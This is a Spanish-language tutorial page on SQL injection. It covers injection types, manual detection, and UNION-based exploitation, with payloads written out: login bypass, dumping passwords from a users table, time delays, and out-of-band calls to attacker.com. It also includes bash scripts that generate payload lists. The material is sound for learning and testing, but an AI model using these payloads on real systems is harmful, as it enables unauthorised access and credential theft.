Inyección SQL

¿Qué es?

SQL Injection (SQLi) es una vulnerabilidad de inyección que ocurre cuando una aplicación permite que entradas no confiables del usuario se incorporen directamente en una consulta SQL sin un adecuado filtrado o parametrización. Esto permite a un atacante alterar la lógica de la consulta y ejecutar comandos arbitrarios sobre la base de datos.

Impacto

El impacto varía según los permisos del usuario de base de datos y la estructura de la aplicación. Un ataque exitoso puede permitir:

  • Acceso no autorizado a datos confidenciales (usuarios, contraseñas, tarjetas, etc.).

  • Modificación o eliminación de información (violación de integridad).

  • Ejecución remota de comandos en el servidor si hay funciones peligrosas habilitadas (por ejemplo, xp_cmdshell, LOAD_FILE()).

  • Escalada de privilegios dentro del sistema.

  • Persistencia o movimiento lateral si se logra interacción con el sistema operativo.

Tipos de SQLi

Tipo
Descripción

Error-Based

Aprovecha errores devueltos por el servidor para extraer información

Union-Based

Usa UNION SELECT para fusionar resultados visibles con datos arbitrarios.

Boolean-Based Blind

Evalúa condiciones lógicas (TRUE/FALSE).

Time-Based Blind

Mide el tiempo de respuesta usando funciones como SLEEP() o WAITFOR DELAY.

Out-of-Band (OOB)

Extrae datos usando canales externos (DNS, HTTP). Útil cuando no hay respuesta visible.

Second-Order SQL Injection

El payload malicioso no se ejecuta inmediatamente, sino que se almacena en la base de datos y se ejecuta más tarde cuando otro proceso o funcionalidad lo utiliza.

Stacked Queries Injection

Permite ejecutar múltiples consultas en una misma petición separadas por ;. Solo funciona si el motor de base de datos y el backend lo permiten.

SQLi en funciones de búsqueda o LIKE

Algunos motores permiten comodines como %, _, o expresiones regulares que se pueden manipular para modificar el resultado.

NoSQL Injection

Inyección en sistemas como MongoDB, Redis, etc., que no usan SQL pero tienen estructuras manipulables.

ORM Injection (Object-Relational Mapping)

Manipulación de consultas a través de funciones de ORM mal configuradas. Algunos ORMs construyen dinámicamente consultas SQL si el input no está controlado.

GraphQL Injection

Si el backend usa SQL internamente, los inputs no filtrados en queries GraphQL pueden inyectar SQL.

Blind Response-Based (No-Error)

Variante donde no hay errores, ni retardo, ni diferencias booleanas evidentes. Se requiere analizar cambios muy sutiles en contenido o estructura de la respuesta.

Cómo detectarlo

Puedes detectar SQLi de forma manual o automatizada. A continuación, se resumen las técnicas clave:

Pruebas manuales

Error-Based SQLi

Inyección básica con comillas:

  • Enviar ' o '', esperando errores como: You have an error in your SQL syntax, unclosed quotation mark, etc.

Union-Based SQLi

  • Probar con UNION SELECT y observar si los datos inyectados se reflejan en la respuesta (' UNION SELECT null, version()--).

Boolean-based

  • Inyectar condiciones lógicas que alteren la lógica de la consulta y comparar respuestas:

    • ' OR 1=1 -- (devuelve resultados)

    • ' OR 1=2 -- (no devuelve resultados)

Time-based

  • Inyectar funciones de retardo y medir el tiempo de respuesta:

    • '; WAITFOR DELAY '00:00:05'-- (MS SQL)

    • ' OR SLEEP(5)# (MySQL/PostgreSQL)

  • Si el tiempo de respuesta se ve afectado, puede indicar ejecución de la consulta.

Out-of-band (OAST)

  • Usar payloads que generen peticiones DNS/HTTP a un servidor controlado por el atacante (OAST/Burp Collaborator):

    • '; exec master..xp_dirtree '\\attacker.com\foo'--

    • ' OR LOAD_FILE('\\attacker.com\data') --

Second-Order SQL Injection

Por ejemplo, inyectar abc' OR '1'='1 en un campo de perfil que luego se usa en una búsqueda interna sin escapar.

  • Error-Based y Union-Based: suelen ser los más fáciles de detectar, pero dependen de que el servidor devuelva errores o datos inyectados visiblemente.

  • Blind SQLi (boolean/time): se detectan comparando comportamientos, no respuestas directas.

  • Out-of-Band (OOB): son útiles en entornos muy restringidos donde no se puede obtener respuesta visible o por tiempo. Requieren infraestructura externa (servidor DNS/HTTP atacante).

Pruebas automáticas

Con el uso de herramientas como:

  • sqlmap

  • Burp Suite + extensiones (SQLiPy, Turbo Intruder).

  • jSQL, NoSQLMap (para entornos NoSQL).

Explotación de inyecciones SQL

Inyección SQL en WHERE

Ejemplo 1 - Funcionalidad de filtrado: Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Inyección SQL de evasión de inicio de sesión

Ejemplo 1 - Funcionalidad de inicio de sesión: Lab: SQL injection vulnerability allowing login bypass

Ataque UNION

Si una aplicación es vulnerable a inyección SQL y devuelve los resultados de las consultas en la respuesta, puedes aprovechar la cláusula UNION para volcar información de otras tablas de la base de datos.

Este tipo de ataque permite concatenar múltiples consultas SELECT y fusionar sus resultados en un único output, siempre que:

  • El número de columnas coincida.

  • Los tipos de datos sean compatibles por posición.

Ejemplo:

SELECT a, b FROM tabla1
UNION
SELECT c, d FROM tabla2

Devuelve un resultado combinado de dos columnas con datos de ambas tablas.

¿Qué es necesario saber antes de explotar UNION?

  1. Número exacto de columnas que devuelve la consulta original.

  2. Qué columnas son imprimibles, es decir, aceptan datos visibles (strings, números, etc.).

Una vez tengas eso, se puede inyectar, por ejemplo:

' UNION SELECT null, password FROM users--

Y obtener credenciales, tokens o lo que se encuentre en la base de datos, y tengamos permiso para obtener. Esto dependerá de los permisos del usuario de la base de datos.

Cómo identificar el número de columnas en una inyección SQL

>> ORDER BY

Inyecta cláusulas ORDER BY incrementales y observa la respuesta:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
...

Para obtener una lista de payloads (se modifica 20 por el número de columnas que queramos probar):

for i in {1..20}; do echo "' ORDER BY "$i"--"; done > /tmp/orderby.txt

Cuando el número excede las columnas reales, la base de datos lanza un error (ej: The ORDER BY position number 4 is out of range...), se obtiene una respuesta con un código de error (ej: 500), se observan diferencias en el tamaño de respuesta u otra diferencia que permita identificar un comportamiento no esperado de la aplicación.

>> UNION

Inyecta varios NULL y aumenta hasta que no haya error:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
...

Para obtener una lista de payloads (se modifica 20 por el número de columnas que queramos probar):

for i in {1..20}; do echo "' UNION SELECT $(yes NULL | head -n $i | paste -sd,)--"; done > /tmp/unionselect.txt

Se usa NULL porque es compatible con cualquier tipo de dato, lo que evita errores por incompatibilidad.

¿Qué se debe observar?

  • Errores explícitos en la respuesta HTTP.

  • Cambios en el contenido (como una fila adicional).

  • Errores silenciosos que provocan páginas vacías, render roto o ausencia de resultados.

Ejemplos de explotación

Cómo identificar las columnas que permiten insertar texto en una inyección SQL UNION

Para ello, es necesario insertar una cadena en cada una de las columnas a probar. Por ejemplo, si el número de columnas obtenido es 3:

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

Como el número de columnas cambia, se puede generar una lista a partir del número de columnas deseado usando el siguiente script:

#!/bin/bash

# Número de columnas totales
columnas=3  # Puedes cambiar este valor

for i in $(seq 1 $columnas); do
  payload="' UNION SELECT "
  for j in $(seq 1 $columnas); do
    if [ "$j" -eq "$i" ]; then
      payload+="'a'"
    else
      payload+="NULL"
    fi
    [ "$j" -lt "$columnas" ] && payload+=","
  done
  payload+="--"
  echo "$payload"
done

Lo mismo, pero en oneliner:

cols=3; for i in $(seq 1 $cols); do echo "' UNION SELECT $(for j in $(seq  1 $cols); do [ $j -eq $i ] && echo -n "'a'" || echo -n "NULL"; [ $j -lt $cols ] && echo -n ","; done)--"; done
Ejemplos de explotación

Cómo insertar múltiples valores en una misma columna

Esto es útil cuando la tabla de la consulta solo cuenta con una columna. Para ello, necesitamos concatenar varias columnas en una única columna para poder mostrar el contenido:

' UNION SELECT username || '~' || password FROM users--
Ejemplos de explotación

Inyección a ciegas SQL booleana (Blind SQL)

PENDIENTE.

Última actualización

¿Te fue útil?